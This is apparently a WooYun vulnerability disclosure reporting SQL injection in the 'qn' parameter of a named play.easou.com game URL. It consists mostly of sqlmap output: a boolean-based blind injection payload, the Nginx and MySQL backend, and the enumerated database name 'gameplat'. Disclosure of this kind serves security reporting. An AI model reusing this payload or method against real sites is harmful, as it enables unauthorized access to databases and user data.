WooYun.org

漏洞地址：http://play.easou.com/d.e?gameId=1253&esid=ak0V-8TD4ig9LoqxDC&wver=c&qn=33&fr=1&l=1&version=c

问题参数：qn

GET parameter 'qn' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 768 HTTP(s) requests:
---
Place: GET
Parameter: qn
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: gameId=1253&esid=ak0V-8TD4ig9LoqxDC&wver=c&qn=33' AND 1326=1326 AND 
'VrXP'='VrXP&fr=1&l=1&version=c
---

web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
available databases [1]:
[*] gameplat